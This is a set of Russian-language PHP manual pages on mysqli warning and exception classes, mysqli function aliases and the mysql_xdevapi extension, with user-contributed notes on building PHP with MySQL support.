mysqli_warning::__construct() seems protected according reflection:

== Class: mysqli_warning
Could not construct class mysqli_warning
Message: Access to non-public constructor of class mysqli_warning


Закрытый конструктор для запрета прямого создания экземпляра

  • « mysqli_warning
  • mysqli_warning::next »
  • PHP Manual
  • mysqli_warning
  • Закрытый конструктор для запрета прямого создания экземпляра

mysqli_warning::__construct

(PHP 5, PHP 7, PHP 8)

mysqli_warning::__construct — Закрытый конструктор для запрета прямого создания экземпляра

Описание

private mysqli_warning::__construct()

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Получает следующее предупреждение

  • « mysqli_warning::__construct
  • mysqli_sql_exception »
  • PHP Manual
  • mysqli_warning
  • Получает следующее предупреждение

mysqli_warning::next

(PHP 5, PHP 7, PHP 8)

mysqli_warning::next — Получает следующее предупреждение

Описание

public mysqli_warning::next(): bool

Изменяет информацию о предупреждении на следующее предупреждение, если это возможно.

После того как предупреждение было установлено на следующее предупреждение, будут доступны новые значения свойств message, sqlstate и errno из mysqli_warning.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если следующее предупреждение было получено успешно. Если больше нет предупреждений, вернёт false

User Contributed Notes

There are no user contributed notes for this page.


Класс mysqli_sql_exception

(PHP 5, PHP 7, PHP 8)

Введение

Класс для обработки исключений mysqli.

Обзор классов

final class mysqli_sql_exception extends RuntimeException {
/* Свойства */
protected string $sqlstate = "00000";
/* Методы */
public getSqlState(): string
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Свойства

sqlstate

Код sqlstate.

Содержание

  • mysqli_sql_exception::getSqlState — Возвращает код ошибки SQLSTATE

User Contributed Notes

fibrizo dot raziel at gmail dot com 02-Nov-2015 03:34
<?php  mysqli_report(MYSQLI_REPORT_STRICT) ?>
 was not enough for me to enable exception throwing. I had to write this:
<?php mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); ?>


Возвращает код ошибки SQLSTATE

  • « mysqli_sql_exception
  • Синонимы и устаревшие функции Mysqli »
  • PHP Manual
  • mysqli_sql_exception
  • Возвращает код ошибки SQLSTATE

mysqli_sql_exception::getSqlState

(PHP 8 >= 8.1.2)

mysqli_sql_exception::getSqlState — Возвращает код ошибки SQLSTATE

Описание

public mysqli_sql_exception::getSqlState(): string

Возвращает строку, содержащую код последней ошибки SQLSTATE. Код ошибки состоит из пяти символов. Значения задаются ANSI SQL и ODBC. Список возможных значений можно посмотреть на странице » http://dev.mysql.com/doc/mysql/en/error-handling.html.

Замечание:

Обратите внимание, что не все ошибки MySQL ещё сопоставлены с SQLSTATE. Если ошибка не сопоставлена, используется значение HY000 (общая ошибка).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, содержащую код последней ошибки SQLSTATE. Код ошибки состоит из пяти символов.

User Contributed Notes

There are no user contributed notes for this page.


Синонимы и устаревшие функции Mysqli

Содержание

  • mysqli_connect — Псевдоним mysqli::__construct
  • mysqli::escape_string — Псевдоним функции mysqli_real_escape_string
  • mysqli_execute — Псевдоним mysqli_stmt_execute
  • mysqli_get_client_stats — Получить клиентскую попроцессную статистику
  • mysqli_get_links_stats — Возвращает информацию об открытых и закешированных соединениях MySQL
  • mysqli_report — Псевдоним mysqli_driver->report_mode
  • mysqli::set_opt — Псевдоним mysqli_options

User Contributed Notes

nulled elitscripts2000 at yahoo dot com 26-Aug-2014 01:00
If you need to install mysqli extension there is no need to recompile PHP5 pr PHP5-fpm...

apt-get install php5-mysqlnd

Will install mysql and mysqli and mysqlnd

If you compile PHP from source then yes add the -use-mysqli in compile config.

This is Debian and Ubuntu.  Or at least Ubuntu.
Daniel Sowden 08-Apr-2008 03:56
I had a problem compiling PHP 5.2.5 with mysqli enabled on Mac OS X. Whether this problem was unique to me I do not no, so I am posting this for anybody else that runs into the same problem. Configure would run right to the end, but I had it telling me something had failed and that it was likely messed up. Upon checking debug.log I noticed this:

dyld: Library not loaded: /usr/local/mysql/lib/mysql/libmysqlclient.15.dylib
Referenced from: /Users/daniel/desktop/php -5.2.5/sapi/cli/php
Reason: image not found
/bin/sh: line 1: /Users/daniel/desktop/php -5.2.5/tmp-php.ini: Permission denied
dyld: Library not loaded: /usr/local/mysql/lib/mysql/libmysqlclient.15.dylib
Referenced from: /Users/daniel/desktop/php -5.2.5/sapi/cli/php
Reason: image not found
make: [test] Error 133 (ignored)

After screwing around for an hour and screaming many profanities at my computer I looked back at the error and noticed:

"/usr/local/mysql/lib/<b>mysql/</b>libmysqlclient.15.dylib

Why it was using this path I do not know, but I headslapped when I realised how simple it was! I solved the problem by creating a link called mysql that linked back on itself:

cd /usr/local/mysql/lib
sudo ln -s ./ mysql

Problem solved! I probably should have figured out why it was doing this instead, but this was easier and saved me from allot more frustration.
marcus at synchromedia dot co dot uk 03-Oct-2007 09:27
For those having trouble getting MySQLi to work, there is another way that is set to become much more common:

http://dev.mysql.com/downloads/connector/php-mysqlnd/

This is the new MySQL native driver which has been backported from PHP6 and replaces MySQLi with a version that doesn't require any local MySQL client libraries or binaries.
neil 10-Feb-2005 02:15
I have spent far too much time finding this answer:

Since PHP5 many many people are having installation problems.  I found many apps were broken when I upgraded to version 5.  I tried to install mysql and mysqli and had problems.

Here's the solution:

After doing:

 ./configure --with-mysql=/path/to/mysql_config --with-mysqli=/path/to/mysql_config

do this:

"
    if you want to use both the old mysql and the new mysqli interface, load the Makefile into your editor and search for the line beginning with EXTRA_LIBS; it includes -lmysqlclient twice; remove the second instance
"

then you can:

make
make install

......
Please note:  the mysql-dev must be installed or you won't have a mysql_config anywhere.  I installed the mysql-dev rpm

Further note:  the information about the Makefile's duplicate instances of "-libmysqlclient" came from Michael Kofler.  Thanks should be directed to him.  He gives more details at the following link:

http://www.kofler.cc/forum/forumthread.php?rootID=3571
php at arwin dot net 02-Feb-2005 03:32
For those having trouble compiling with both --with-mysql AND --with-mysqli, I found a solution at this URL:

http://bugs.php.net/bug.php?id=29860&edit=1

rjanson at msn dot com writes:

OK, finally an answer!

I checked Makefile and found the following line:

EXTRA_LIBS = -lcrypt -lcrypt -lmysqlclient -lpng -lz -lz -lresolv -lm
-ldl -lnsl -lxml2 -
lz -lm -lxml2 -lz -lm -lmysqlclient -lcrypt -lnsl -lm -lz -lnss_files
-lnss_dns -lresolv -lnss_files
 -lnss_dns -lresolv -lxml2 -lz -lm -lcrypt -lxml2 -lz -lm -lcrypt

By removing one of the -lmysqlclient entries on this line I was able to
successfully make and make install with both mysql and mysqli. As
confirmed by phpInfo().

I'm not sure why the other libs have multiple entries and don't cause
make to crash.
Yair Lapin 10-Nov-2004 07:28
I successed to install php support for a mysql 4.1.7 database after several attempts because the instructions are not clear.
I have a server with linux SuSe 9 enterprise with apache 1.3.31. I installed mysql from rpm files, i installed php 4.3.9 as dynamic library. this version database needs its own client library else the mysql functions in php will not work.
configuration must be as following:

./configure --with-msqli=/usr/bin/mysql_config --with-mysql=/usr  --with-apxs=/usr/local/apache/bin/apxs

 Must be installed in your machine the correct mysql librery:

MySQL-devel-4.1.7-0
MySQL-shared-4.1.7-0
nathansquires at pacbell dot net 13-Sep-2004 10:44
If you want to build php with both the Mysql and mysqli extensions, make sure your mysql distribution comes with shared libraries or build mysql yourself with shared libraries. With only static mysql libraries the compile process will fail.
severin dot kacianka at aon dot at 12-Aug-2004 03:55
I tryed Marco Kaiser's way of getting both mysql_* and mysqli_*, but it failed for me. However I could get it working this way:
First of all I installed the MySQL 4.1.3 binary disribution acourding to the manual. Then I simply passed these ./configure arguments:

--with-mysql=/path/to/mysql4.1.3
--with-mysqli=/path/to/mysql4.1.3/bin/mysql_config

This enabled both, the mysql_* and mysqli_* functions.

Severin Kacianka


Псевдоним mysqli::__construct

  • « Синонимы и устаревшие функции Mysqli
  • mysqli::escape_string »
  • PHP Manual
  • Синонимы и устаревшие функции Mysqli
  • Псевдоним mysqli::__construct

mysqli_connect

(PHP 5, PHP 7, PHP 8)

mysqli_connect — Псевдоним mysqli::__construct()

Описание

Функция является псевдонимом: mysqli::__construct()

Замечание:

Если режим исключения mysqli отключён и произошла ошибка соединения, тогда mysqli_connect() возвращает false вместо объекта. Для получения ошибки соединения можно использовать функцию mysqli_connect_error().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним функции mysqli_real_escape_string

  • « mysqli_connect
  • mysqli_execute »
  • PHP Manual
  • Синонимы и устаревшие функции Mysqli
  • Псевдоним функции mysqli_real_escape_string

mysqli::escape_string

mysqli_escape_string

(PHP 5, PHP 7, PHP 8)

mysqli::escape_string -- mysqli_escape_string — Псевдоним функции mysqli_real_escape_string()

Описание

Функция является псевдонимом: mysqli_real_escape_string().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним mysqli_stmt_execute

  • « mysqli::escape_string
  • mysqli_get_client_stats »
  • PHP Manual
  • Синонимы и устаревшие функции Mysqli
  • Псевдоним mysqli_stmt_execute

mysqli_execute

(PHP 5, PHP 7, PHP 8)

mysqli_execute — Псевдоним mysqli_stmt_execute()

Описание

Функция является псевдонимом: mysqli_stmt_execute().

Примечания

Замечание:

Функция mysqli_execute() устарела и будет удалена.

Смотрите также

  • mysqli_stmt_execute() - Выполняет подготовленное утверждение

User Contributed Notes

There are no user contributed notes for this page.


Получить клиентскую попроцессную статистику

  • « mysqli_execute
  • mysqli_get_links_stats »
  • PHP Manual
  • Синонимы и устаревшие функции Mysqli
  • Получить клиентскую попроцессную статистику

mysqli_get_client_stats

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli_get_client_stats — Получить клиентскую попроцессную статистику

Описание

mysqli_get_client_stats(): array

Возвращает клиентскую попроцессную статистику.

Замечание:

Доступно только с модулем mysqlnd.

Список параметров

Возвращаемые значения

Возвращает массив со статистикой.

Примеры

Пример #1 Пример использования mysqli_get_client_stats()

<?php
$link = mysqli_connect();
print_r(mysqli_get_client_stats());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [bytes_sent] => 43
    [bytes_received] => 80
    [packets_sent] => 1
    [packets_received] => 2
    [protocol_overhead_in] => 8
    [protocol_overhead_out] => 4
    [bytes_received_ok_packet] => 11
    [bytes_received_eof_packet] => 0
    [bytes_received_rset_header_packet] => 0
    [bytes_received_rset_field_meta_packet] => 0
    [bytes_received_rset_row_packet] => 0
    [bytes_received_prepare_response_packet] => 0
    [bytes_received_change_user_packet] => 0
    [packets_sent_command] => 0
    [packets_received_ok] => 1
    [packets_received_eof] => 0
    [packets_received_rset_header] => 0
    [packets_received_rset_field_meta] => 0
    [packets_received_rset_row] => 0
    [packets_received_prepare_response] => 0
    [packets_received_change_user] => 0
    [result_set_queries] => 0
    [non_result_set_queries] => 0
    [no_index_used] => 0
    [bad_index_used] => 0
    [slow_queries] => 0
    [buffered_sets] => 0
    [unbuffered_sets] => 0
    [ps_buffered_sets] => 0
    [ps_unbuffered_sets] => 0
    [flushed_normal_sets] => 0
    [flushed_ps_sets] => 0
    [ps_prepared_never_executed] => 0
    [ps_prepared_once_executed] => 0
    [rows_fetched_from_server_normal] => 0
    [rows_fetched_from_server_ps] => 0
    [rows_buffered_from_client_normal] => 0
    [rows_buffered_from_client_ps] => 0
    [rows_fetched_from_client_normal_buffered] => 0
    [rows_fetched_from_client_normal_unbuffered] => 0
    [rows_fetched_from_client_ps_buffered] => 0
    [rows_fetched_from_client_ps_unbuffered] => 0
    [rows_fetched_from_client_ps_cursor] => 0
    [rows_skipped_normal] => 0
    [rows_skipped_ps] => 0
    [copy_on_write_saved] => 0
    [copy_on_write_performed] => 0
    [command_buffer_too_small] => 0
    [connect_success] => 1
    [connect_failure] => 0
    [connection_reused] => 0
    [reconnect] => 0
    [pconnect_success] => 0
    [active_connections] => 1
    [active_persistent_connections] => 0
    [explicit_close] => 0
    [implicit_close] => 0
    [disconnect_close] => 0
    [in_middle_of_command_close] => 0
    [explicit_free_result] => 0
    [implicit_free_result] => 0
    [explicit_stmt_close] => 0
    [implicit_stmt_close] => 0
    [mem_emalloc_count] => 0
    [mem_emalloc_ammount] => 0
    [mem_ecalloc_count] => 0
    [mem_ecalloc_ammount] => 0
    [mem_erealloc_count] => 0
    [mem_erealloc_ammount] => 0
    [mem_efree_count] => 0
    [mem_malloc_count] => 0
    [mem_malloc_ammount] => 0
    [mem_calloc_count] => 0
    [mem_calloc_ammount] => 0
    [mem_realloc_count] => 0
    [mem_realloc_ammount] => 0
    [mem_free_count] => 0
    [proto_text_fetched_null] => 0
    [proto_text_fetched_bit] => 0
    [proto_text_fetched_tinyint] => 0
    [proto_text_fetched_short] => 0
    [proto_text_fetched_int24] => 0
    [proto_text_fetched_int] => 0
    [proto_text_fetched_bigint] => 0
    [proto_text_fetched_decimal] => 0
    [proto_text_fetched_float] => 0
    [proto_text_fetched_double] => 0
    [proto_text_fetched_date] => 0
    [proto_text_fetched_year] => 0
    [proto_text_fetched_time] => 0
    [proto_text_fetched_datetime] => 0
    [proto_text_fetched_timestamp] => 0
    [proto_text_fetched_string] => 0
    [proto_text_fetched_blob] => 0
    [proto_text_fetched_enum] => 0
    [proto_text_fetched_set] => 0
    [proto_text_fetched_geometry] => 0
    [proto_text_fetched_other] => 0
    [proto_binary_fetched_null] => 0
    [proto_binary_fetched_bit] => 0
    [proto_binary_fetched_tinyint] => 0
    [proto_binary_fetched_short] => 0
    [proto_binary_fetched_int24] => 0
    [proto_binary_fetched_int] => 0
    [proto_binary_fetched_bigint] => 0
    [proto_binary_fetched_decimal] => 0
    [proto_binary_fetched_float] => 0
    [proto_binary_fetched_double] => 0
    [proto_binary_fetched_date] => 0
    [proto_binary_fetched_year] => 0
    [proto_binary_fetched_time] => 0
    [proto_binary_fetched_datetime] => 0
    [proto_binary_fetched_timestamp] => 0
    [proto_binary_fetched_string] => 0
    [proto_binary_fetched_blob] => 0
    [proto_binary_fetched_enum] => 0
    [proto_binary_fetched_set] => 0
    [proto_binary_fetched_geometry] => 0
    [proto_binary_fetched_other] => 0
)

Смотрите также

  • Описание метрик

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию об открытых и закешированных соединениях MySQL

  • « mysqli_get_client_stats
  • mysqli_report »
  • PHP Manual
  • Синонимы и устаревшие функции Mysqli
  • Возвращает информацию об открытых и закешированных соединениях MySQL

mysqli_get_links_stats

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

mysqli_get_links_stats — Возвращает информацию об открытых и закешированных соединениях MySQL

Описание

mysqli_get_links_stats(): array

mysqli_get_links_stats() возвращает информацию об открытых и закешированных соединениях MySQL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

mysqli_get_links_stats() возвращает ассоциативный массив из трёх целочисленных значений со следующими ключами:

total

Целое число (int), означающее общее количество соединений с любыми статусами.

active_plinks

Целое число (int), означающее количество активных постоянных (persistent) соединениях.

cached_plinks

Целое число (int), означающее количество неактивных постоянных (persistent) соединениях.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним mysqli_driver->report_mode

  • « mysqli_get_links_stats
  • mysqli::set_opt »
  • PHP Manual
  • Синонимы и устаревшие функции Mysqli
  • Псевдоним mysqli_driver->report_mode

mysqli_report

(PHP 5, PHP 7, PHP 8)

mysqli_report — Псевдоним mysqli_driver->report_mode

Описание

Функция является псевдонимом: mysqli_driver->report_mode

User Contributed Notes

sethVoid@thevoid 12-Sep-2022 10:29
If you use your own DBException handling for example

<?php
if (!@real_connect(HOST, USERNAME, PASSWORD, NAME, PORT))
{
    throw new DBException(connect_errno);
}
?>

Then turn off errors like this for php 8 >

<?php
    mysqli_report(MYSQLI_REPORT_OFF);
?>
grepmaster 22-Mar-2009 05:51
Hint: If you use

mysqli_report(MYSQLI_REPORT_ALL ^ MYSQLI_REPORT_STRICT)

normal errors are generated instead of exceptions.
Polarina 10-Nov-2007 03:08
It should be noted that all reports made by this function, are sent through an exception named 'mysqli_sql_exception' instead of a normal PHP warning.


Псевдоним mysqli_options

  • « mysqli_report
  • Список изменений »
  • PHP Manual
  • Синонимы и устаревшие функции Mysqli
  • Псевдоним mysqli_options

mysqli::set_opt

mysqli_set_opt

(PHP 5, PHP 7, PHP 8)

mysqli::set_opt -- mysqli_set_opt — Псевдоним mysqli_options()

Описание

Функция является псевдонимом: mysqli_options().

User Contributed Notes

There are no user contributed notes for this page.


Список изменений

Следующие изменения были произведены с классами/функциями/методами данного модуля.

Version Function Description

User Contributed Notes

There are no user contributed notes for this page.


Mysql_xdevapi

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Сборка / Компиляция из исходного кода
  • Предопределённые константы
  • Список изменений
  • Примеры
  • Функции Mysql_xdevapi
    • expression — Связывает подготовленные переменные утверждения в качестве параметров
    • getSession — Подключается к серверу MySQL
  • mysql_xdevapi\BaseResult — Интерфейс BaseResult
    • BaseResult::getWarnings — Получает предупреждения последней операции
    • BaseResult::getWarningsCount — Получает количество предупреждений последней операции
  • mysql_xdevapi\Client — Класс Client
    • mysql_xdevapi\Client::close — Закрытие клиента
    • Client::__construct — Конструктор класса Client
    • Client::getClient — Получает сеанс клиента
  • mysql_xdevapi\Collection — Класс Collection
    • Collection::add — Добавляет документ в коллекцию
    • Collection::addOrReplaceOne — Добавляет или заменяет документ коллекции
    • Collection::__construct — Конструктор класса Collection
    • Collection::count — Получает количество документов
    • Collection::createIndex — Создаёт индекс для коллекции
    • Collection::dropIndex — Удаляет индекс коллекции
    • Collection::existsInDatabase — Проверяет, существует ли коллекция в базе данных
    • Collection::find — Ищет документ
    • Collection::getName — Получает название коллекции
    • Collection::getOne — Получает один документ
    • Collection::getSchema — Возвращает объект Schema
    • Collection::getSession — Возвращает объект Session
    • Collection::modify — Изменяет документы коллекции
    • Collection::remove — Удаляет документы коллекции
    • Collection::removeOne — Удаляет один документ из коллекции
    • Collection::replaceOne — Заменяет один документ коллекции
  • mysql_xdevapi\CollectionAdd — Класс CollectionAdd
    • CollectionAdd::__construct — Конструктор класса CollectionAdd
    • CollectionAdd::execute — Выполняет утверждение
  • mysql_xdevapi\CollectionFind — Класс CollectionFind
    • CollectionFind::bind — Привязывает значение к заполнителю запроса
    • CollectionFind::__construct — Конструктор класса CollectionFind
    • CollectionFind::execute — Выполняет утверждение
    • CollectionFind::fields — Устанавливает фильтр поля документа
    • CollectionFind::groupBy — Устанавливает критерии группировки
    • CollectionFind::having — Устанавливает условие для агрегатных функций
    • CollectionFind::limit — Ограничивает количество возвращаемых документов
    • CollectionFind::lockExclusive — Выполняет операцию с EXCLUSIVE LOCK
    • CollectionFind::lockShared — Выполняет операцию с SHARED LOCK
    • CollectionFind::offset — Пропускает указанное количество возвращаемых элементов
    • CollectionFind::sort — Устанавливает критерии сортировки
  • mysql_xdevapi\CollectionModify — Класс CollectionModify
    • CollectionModify::arrayAppend — Добавляет элемент в поле массива
    • CollectionModify::arrayInsert — Добавляет элемент в поле массива
    • CollectionModify::bind — Привязывает значение к заполнителю запроса
    • CollectionModify::__construct — Конструктор класса CollectionModify
    • CollectionModify::execute — Выполняет операцию изменения
    • CollectionModify::limit — Ограничивает количество изменяемых документов
    • CollectionModify::patch — Исправляет документ
    • CollectionModify::replace — Заменяет поле документа
    • CollectionModify::set — Устанавливает атрибут документа
    • CollectionModify::skip — Пропускает элементы
    • CollectionModify::sort — Устанавливает критерии сортировки
    • CollectionModify::unset — Сбрасывает значение полей документа
  • mysql_xdevapi\CollectionRemove — Класс CollectionRemove
    • CollectionRemove::bind — Привязывает значение к заполнителю
    • CollectionRemove::__construct — Конструктор класса CollectionRemove
    • CollectionRemove::execute — Выполняет операцию удаления
    • CollectionRemove::limit — Ограничивает количество документов для удаления
    • CollectionRemove::sort — Устанавливает критерии сортировки
  • mysql_xdevapi\ColumnResult — Класс ColumnResult
    • ColumnResult::__construct — Конструктор класса ColumnResult
    • ColumnResult::getCharacterSetName — Получает набор символов
    • ColumnResult::getCollationName — Получает имя сопоставления
    • ColumnResult::getColumnLabel — Получает метку столбца
    • ColumnResult::getColumnName — Получает название столбца
    • ColumnResult::getFractionalDigits — Получает дробную длину цифры
    • ColumnResult::getLength — Получает длину поля столбца
    • ColumnResult::getSchemaName — Получает название схемы
    • ColumnResult::getTableLabel — Получает метку таблицы
    • ColumnResult::getTableName — Получает название таблицы
    • ColumnResult::getType — Получает тип столбца
    • ColumnResult::isNumberSigned — Проверяет, является ли тип подписанным
    • ColumnResult::isPadded — Проверяет, дополняется ли
  • mysql_xdevapi\CrudOperationBindable — Интерфейс CrudOperationBindable
    • CrudOperationBindable::bind — Привязывает значение к заполнителю
  • mysql_xdevapi\CrudOperationLimitable — Интерфейс CrudOperationLimitable
    • CrudOperationLimitable::limit — Устанавливает лимит результата
  • mysql_xdevapi\CrudOperationSkippable — Интерфейс CrudOperationSkippable
    • CrudOperationSkippable::skip — Количество операций для пропуска
  • mysql_xdevapi\CrudOperationSortable — Интерфейс CrudOperationSortable
    • CrudOperationSortable::sort — Сортирует результаты
  • mysql_xdevapi\DatabaseObject — Интерфейс DatabaseObject
    • DatabaseObject::existsInDatabase — Проверяет, существует ли объект в базе данных
    • DatabaseObject::getName — Получает имя объекта
    • DatabaseObject::getSession — Получает имя сессии
  • mysql_xdevapi\DocResult — Класс DocResult
    • DocResult::__construct — Конструктор DocResult
    • DocResult::fetchAll — Получить все строки
    • DocResult::fetchOne — Получить одну строку
    • DocResult::getWarnings — Получить предупреждения с последней операции
    • DocResult::getWarningsCount — Получить количество предупреждений с последней операции
  • mysql_xdevapi\Exception — Класс Exception
  • mysql_xdevapi\Executable — Интерфейс Executable
    • Executable::execute — Выполняет утверждение
  • mysql_xdevapi\ExecutionStatus — Класс ExecutionStatus
    • ExecutionStatus::__construct — Конструктор класса ExecutionStatus
  • mysql_xdevapi\Expression — Класс Expression
    • Expression::__construct — Конструктор класса Expression
  • mysql_xdevapi\Result — Класс Result
    • Result::__construct — Конструктор класса Result
    • Result::getAffectedItemsCount — Получает количество затронутых строк
    • Result::getAutoIncrementValue — Получает значение автоинкремента
    • Result::getGeneratedIds — Получает сгенерированные идентификаторы
    • Result::getWarnings — Получает предупреждения последней операции
    • Result::getWarningsCount — Получает количество предупреждений последней операции
  • mysql_xdevapi\RowResult — Класс RowResult
    • RowResult::__construct — Конструктор класса RowResult
    • RowResult::fetchAll — Получает все строки из результата
    • RowResult::fetchOne — Получает строку из результата
    • RowResult::getColumnsCount — Получает количество столбцов
    • RowResult::getColumnNames — Получает все имена столбцов
    • RowResult::getColumns — Получает метаданные столбца
    • RowResult::getWarnings — Получает предупреждения последней операции
    • RowResult::getWarningsCount — Получает количество предупреждений последней операции
  • mysql_xdevapi\Schema — Класс Schema
    • Schema::__construct — Конструктор
    • Schema::createCollection — Добавить коллекцию в схему
    • Schema::dropCollection — Удалить коллекции из схемы
    • Schema::existsInDatabase — Проверить, существует ли в базе данных
    • Schema::getCollection — Получить коллекцию из схемы
    • Schema::getCollectionAsTable — Получить объект таблицы коллекции
    • Schema::getCollections — Получить все коллекции схемы
    • Schema::getName — Получить имя схемы
    • Schema::getSession — Получить сессию схемы
    • Schema::getTable — Получить таблицу схемы
    • Schema::getTables — Получить таблицы схемы
  • mysql_xdevapi\SchemaObject — Интерфейс SchemaObject
    • SchemaObject::getSchema — Получает объект схемы
  • mysql_xdevapi\Session — Класс Session
    • Session::close — Закрывает сессию
    • Session::commit — Фиксирует транзакцию
    • Session::__construct — Описание конструктора
    • Session::createSchema — Создаёт новую схему
    • Session::dropSchema — Удаляет схему
    • Session::generateUUID — Получает новый UUID
    • Session::getDefaultSchema — Получает имя схемы по умолчанию
    • Session::getSchema — Получает новый объект схемы
    • Session::getSchemas — Получает схемы
    • Session::getServerVersion — Получает версию сервера
    • Session::listClients — Получает список клиентов
    • Session::quoteName — Добавляет кавычки
    • Session::releaseSavepoint — Отменяет установленную точку сохранения
    • Session::rollback — Откатывает транзакцию
    • Session::rollbackTo — Откатывает транзакцию до точки сохранения
    • Session::setSavepoint — Создаёт точку сохранения
    • Session::sql — Выполняет SQL запрос
    • Session::startTransaction — Начинает транзакцию
  • mysql_xdevapi\SqlStatement — Класс SqlStatement
    • SqlStatement::bind — Связывает параметры утверждения
    • SqlStatement::__construct — Описание конструктора
    • SqlStatement::execute — Выполняет операцию
    • SqlStatement::getNextResult — Получает следующий результат
    • SqlStatement::getResult — Получает результат
    • SqlStatement::hasMoreResults — Проверяет, есть ли ещё результаты
  • mysql_xdevapi\SqlStatementResult — Класс SqlStatementResult
    • SqlStatementResult::__construct — Описание конструктора
    • SqlStatementResult::fetchAll — Получает все строки из результата
    • SqlStatementResult::fetchOne — Получает одну строку
    • SqlStatementResult::getAffectedItemsCount — Получает затронутое количество строк
    • SqlStatementResult::getColumnsCount — Получает количество столбцов
    • SqlStatementResult::getColumnNames — Получает имена столбцов
    • SqlStatementResult::getColumns — Получает столбцы
    • SqlStatementResult::getGeneratedIds — Получает сгенерированные идентификаторы
    • SqlStatementResult::getLastInsertId — Получает последний идентификатор вставки
    • SqlStatementResult::getWarnings — Получает предупреждения от последней операции
    • SqlStatementResult::getWarningsCount — Получает количество предупреждений от последней операции
    • SqlStatementResult::hasData — Проверяет, есть ли у результата данные
    • SqlStatementResult::nextResult — Получает следующий результат
  • mysql_xdevapi\Statement — Класс Statement
    • Statement::__construct — Описание конструктора
    • Statement::getNextResult — Получает следующий результат
    • Statement::getResult — Получает результат
    • Statement::hasMoreResults — Проверяет, есть ли ещё результаты
  • mysql_xdevapi\Table — Класс Table
    • Table::__construct — Конструктор Table
    • Table::count — Получить количество строк
    • Table::delete — Удалить строки из таблицы
    • Table::existsInDatabase — Проверить, существует ли таблица в базе данных
    • Table::getName — Получить имя таблицы
    • Table::getSchema — Получить схему таблицы
    • Table::getSession — Получить таблицу сессий
    • Table::insert — Вставить строки таблицы
    • Table::isView — Проверить, является ли таблица представлением
    • Table::select — Выбрать строки из таблицы
    • Table::update — Обновить строки в таблице
  • mysql_xdevapi\TableDelete — Класс TableDelete
    • TableDelete::bind — Связывает параметры запроса удаления
    • TableDelete::__construct — Конструктор класса TableDelete
    • TableDelete::execute — Выполняет запрос на удаление
    • TableDelete::limit — Ограничивает строки для удаления
    • TableDelete::orderby — Устанавливает критерии сортировки удаления
    • TableDelete::where — Устанавливает условие поиска для удаления
  • mysql_xdevapi\TableInsert — Класс TableInsert
    • TableInsert::__construct — Конструктор класса TableInsert
    • TableInsert::execute — Выполняет запрос вставки
    • TableInsert::values — Добавляет значения вставки строки
  • mysql_xdevapi\TableSelect — Класс TableSelect
    • TableSelect::bind — Привязывает параметры запроса выборки
    • TableSelect::__construct — Конструктор класса TableSelect
    • TableSelect::execute — Выполняет оператор выборки
    • TableSelect::groupBy — Устанавливает критерии группировки выборки
    • TableSelect::having — Устанавливает выбор с условием
    • TableSelect::limit — Ограничивает выбранные строки
    • TableSelect::lockExclusive — Выполняет EXCLUSIVE LOCK
    • TableSelect::lockShared — Выполняет SHARED LOCK
    • TableSelect::offset — Устанавливает предел смещения
    • TableSelect::orderby — Устанавливает критерии сортировки выборки
    • TableSelect::where — Устанавливает условие поиска выборки
  • mysql_xdevapi\TableUpdate — Класс TableUpdate
    • TableUpdate::bind — Привязывает параметры запроса на обновление
    • TableUpdate::__construct — Конструктор класса TableUpdate
    • TableUpdate::execute — Выполняет запрос на обновление
    • TableUpdate::limit — Ограничивает количество строк для обновления
    • TableUpdate::orderby — Устанавливает критерии сортировки
    • TableUpdate::set — Добавляет поле для обновления
    • TableUpdate::where — Устанавливает фильтр поиска
  • mysql_xdevapi\Warning — Класс Warning
    • Warning::__construct — Конструктор класса Warning

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль обеспечивает доступ к хранилищу документов MySQL через X DevAPI. X DevAPI - это общий API, предоставляемый несколькими коннекторами MySQL, обеспечивающий лёгкий доступ к реляционным таблицам, а также к коллекциям документов, которые представлены в JSON, из API с операциями в стиле CRUD.

X DevAPI использует X Protocol, клиент-серверный протокол нового поколения сервера MySQL 8.0.

Для получения общей информации о хранилище документов MySQL, пожалуйста, обратитесь к главе » Хранилище документов MySQL в руководстве MySQL.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Настройка во время выполнения
  • Сборка / Компиляция из исходного кода

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для этого модуля требуется сервер MySQL 8+ с включённым плагином X (по умолчанию).

Необходимые библиотеки для компиляции этого модуля: Boost (1.53.0 или выше), OpenSSL и Protobuf.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Пример процедуры установки на Ubuntu 18.04 с PHP 7.2:

// Зависимости
$ apt install build-essential libprotobuf-dev libboost-dev openssl protobuf-compiler liblz4-tool zstd

// PHP с нужными модулями; php7.2-dev, необходимым для компиляции
$ apt install php7.2-cli php7.2-dev php7.2-mysql php7.2-pdo php7.2-xml

// Компиляция модуля
$ pecl install mysql_xdevapi

Команда pecl install не включает модули PHP (по умолчанию), включение модулей PHP может быть сделано несколькими способами. Другой пример PHP 7.2 в Ubuntu 18.04:

// Создание собственного ini файла
$ echo "extension=mysql_xdevapi.so" > /etc/php/7.2/mods-available/mysql_xdevapi.ini

// Использование команды 'phpenmod' (примечание: это применимо для Debian/Ubuntu)
$ phpenmod -v 7.2 -s ALL mysql_xdevapi

